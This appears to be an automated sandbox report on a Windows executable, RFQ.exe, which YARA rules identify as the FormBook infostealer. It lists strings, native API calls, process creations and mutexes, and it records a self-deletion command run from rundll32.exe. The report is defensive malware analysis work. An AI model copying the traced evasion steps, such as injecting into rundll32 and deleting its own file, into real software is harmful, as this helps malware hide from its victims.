Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: RFQ.exe	String found in binary or memory: http://www.esvstudybible.org/search?q=
Source: RFQ.exe	String found in binary or memory: http://www.esvstudybible.org/search?q=Whttp://www.blueletterbible.org/Bible.cfm?b=
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: RFQ.exe, 00000000.00000002.393740196.0000000001617000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comas
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: rundll32.exe, 0000000E.00000002.598194730.000000000502F000.00000004.00000001.sdmp	String found in binary or memory: http://www.skincolored.com
Source: rundll32.exe, 0000000E.00000002.598194730.000000000502F000.00000004.00000001.sdmp	String found in binary or memory: http://www.skincolored.com/
Source: explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: RFQ.exe, 00000000.00000003.334811267.000000000161C000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.comn
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 7.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 7.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 7.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 7.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 7.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00419D60 NtCreateFile,	7_2_00419D60
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00419E10 NtReadFile,	7_2_00419E10
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00419E90 NtClose,	7_2_00419E90
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00419F40 NtAllocateVirtualMemory,	7_2_00419F40
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00419E0B NtReadFile,	7_2_00419E0B
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00419E8A NtClose,	7_2_00419E8A
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00419F3A NtAllocateVirtualMemory,	7_2_00419F3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679540 NtReadFile,LdrInitializeThunk,	14_2_04679540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046795D0 NtClose,LdrInitializeThunk,	14_2_046795D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679660 NtAllocateVirtualMemory,LdrInitializeThunk,	14_2_04679660
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679650 NtQueryValueKey,LdrInitializeThunk,	14_2_04679650
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046796E0 NtFreeVirtualMemory,LdrInitializeThunk,	14_2_046796E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046796D0 NtCreateKey,LdrInitializeThunk,	14_2_046796D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679710 NtQueryInformationToken,LdrInitializeThunk,	14_2_04679710
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679FE0 NtCreateMutant,LdrInitializeThunk,	14_2_04679FE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679780 NtMapViewOfSection,LdrInitializeThunk,	14_2_04679780
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679860 NtQuerySystemInformation,LdrInitializeThunk,	14_2_04679860
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679840 NtDelayExecution,LdrInitializeThunk,	14_2_04679840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679910 NtAdjustPrivilegesToken,LdrInitializeThunk,	14_2_04679910
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046799A0 NtCreateSection,LdrInitializeThunk,	14_2_046799A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679A50 NtCreateFile,LdrInitializeThunk,	14_2_04679A50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679560 NtWriteFile,	14_2_04679560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679520 NtWaitForSingleObject,	14_2_04679520
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0467AD30 NtSetContextThread,	14_2_0467AD30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046795F0 NtQueryInformationFile,	14_2_046795F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679670 NtQueryInformationProcess,	14_2_04679670
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679610 NtEnumerateValueKey,	14_2_04679610
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679760 NtOpenProcess,	14_2_04679760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0467A770 NtOpenThread,	14_2_0467A770
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679770 NtSetInformationFile,	14_2_04679770
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679730 NtQueryVirtualMemory,	14_2_04679730
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0467A710 NtOpenProcessToken,	14_2_0467A710
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046797A0 NtUnmapViewOfSection,	14_2_046797A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0467B040 NtSuspendThread,	14_2_0467B040
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679820 NtEnumerateKey,	14_2_04679820
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046798F0 NtReadVirtualMemory,	14_2_046798F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046798A0 NtWriteVirtualMemory,	14_2_046798A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679950 NtQueueApcThread,	14_2_04679950
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046799D0 NtCreateProcessEx,	14_2_046799D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679A20 NtResumeThread,	14_2_04679A20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679A00 NtProtectVirtualMemory,	14_2_04679A00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679A10 NtQuerySection,	14_2_04679A10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679A80 NtOpenDirectoryObject,	14_2_04679A80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04679B00 NtSetValueKey,	14_2_04679B00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0467A3B0 NtGetContextThread,	14_2_0467A3B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00659D60 NtCreateFile,	14_2_00659D60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00659E10 NtReadFile,	14_2_00659E10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00659E90 NtClose,	14_2_00659E90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00659F40 NtAllocateVirtualMemory,	14_2_00659F40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00659E0B NtReadFile,	14_2_00659E0B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00659E8A NtClose,	14_2_00659E8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00659F3A NtAllocateVirtualMemory,	14_2_00659F3A

Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_075D6010	0_2_075D6010
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_075D1D7D	0_2_075D1D7D
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_075D0040	0_2_075D0040
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_075D0006	0_2_075D0006
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_0041E841	7_2_0041E841
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_0041D018	7_2_0041D018
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00401030	7_2_00401030
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_0041E1FC	7_2_0041E1FC
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00402D87	7_2_00402D87
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00402D90	7_2_00402D90
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00409E40	7_2_00409E40
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00409E3B	7_2_00409E3B
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_0041E7E7	7_2_0041E7E7
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00402FB0	7_2_00402FB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FD466	14_2_046FD466
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464841F	14_2_0464841F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04701D55	14_2_04701D55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04630D20	14_2_04630D20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04702D07	14_2_04702D07
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464D5E0	14_2_0464D5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_047025DD	14_2_047025DD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04662581	14_2_04662581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04656E30	14_2_04656E30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FD616	14_2_046FD616
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04702EF7	14_2_04702EF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04701FF1	14_2_04701FF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F1002	14_2_046F1002
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_047028EC	14_2_047028EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046620A0	14_2_046620A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_047020A8	14_2_047020A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464B090	14_2_0464B090
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04654120	14_2_04654120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463F900	14_2_0463F900
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_047022AE	14_2_047022AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04702B28	14_2_04702B28
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FDBD2	14_2_046FDBD2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466EBB0	14_2_0466EBB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0065E1FC	14_2_0065E1FC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00642D87	14_2_00642D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00642D90	14_2_00642D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00649E40	14_2_00649E40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00649E3B	14_2_00649E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_00642FB0	14_2_00642FB0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: String function: 0463B150 appears 35 times

Source: RFQ.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: RFQ.exe	Binary or memory string: OriginalFilename vs RFQ.exe
Source: RFQ.exe, 00000000.00000000.326713042.00000000009B2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameD vs RFQ.exe
Source: RFQ.exe	Binary or memory string: OriginalFilename vs RFQ.exe
Source: RFQ.exe, 00000007.00000002.444723171.000000000165F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs RFQ.exe
Source: RFQ.exe, 00000007.00000002.444419638.00000000012C8000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameRUNDLL32.EXEj% vs RFQ.exe
Source: RFQ.exe, 00000007.00000000.391061443.0000000000AB2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameD vs RFQ.exe
Source: RFQ.exe	Binary or memory string: OriginalFilenameD vs RFQ.exe

Source: RFQ.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 7.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 7.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 7.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 7.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/1@3/2

Source: C:\Users\user\Desktop\RFQ.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RFQ.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6200:120:WilError_01
Source: C:\Users\user\Desktop\RFQ.exe	Mutant created: \Sessions\1\BaseNamedObjects\iNvBcjNipEgPNF

Source: RFQ.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\RFQ.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\RFQ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: unknown

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Source: RFQ.exe	Virustotal: Detection: 35%
Source: RFQ.exe	ReversingLabs: Detection: 16%

Source: unknown	Process created: C:\Users\user\Desktop\RFQ.exe 'C:\Users\user\Desktop\RFQ.exe'
Source: unknown	Process created: C:\Users\user\Desktop\RFQ.exe {path}
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\RFQ.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Users\user\Desktop\RFQ.exe {path}	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\RFQ.exe'	Jump to behavior

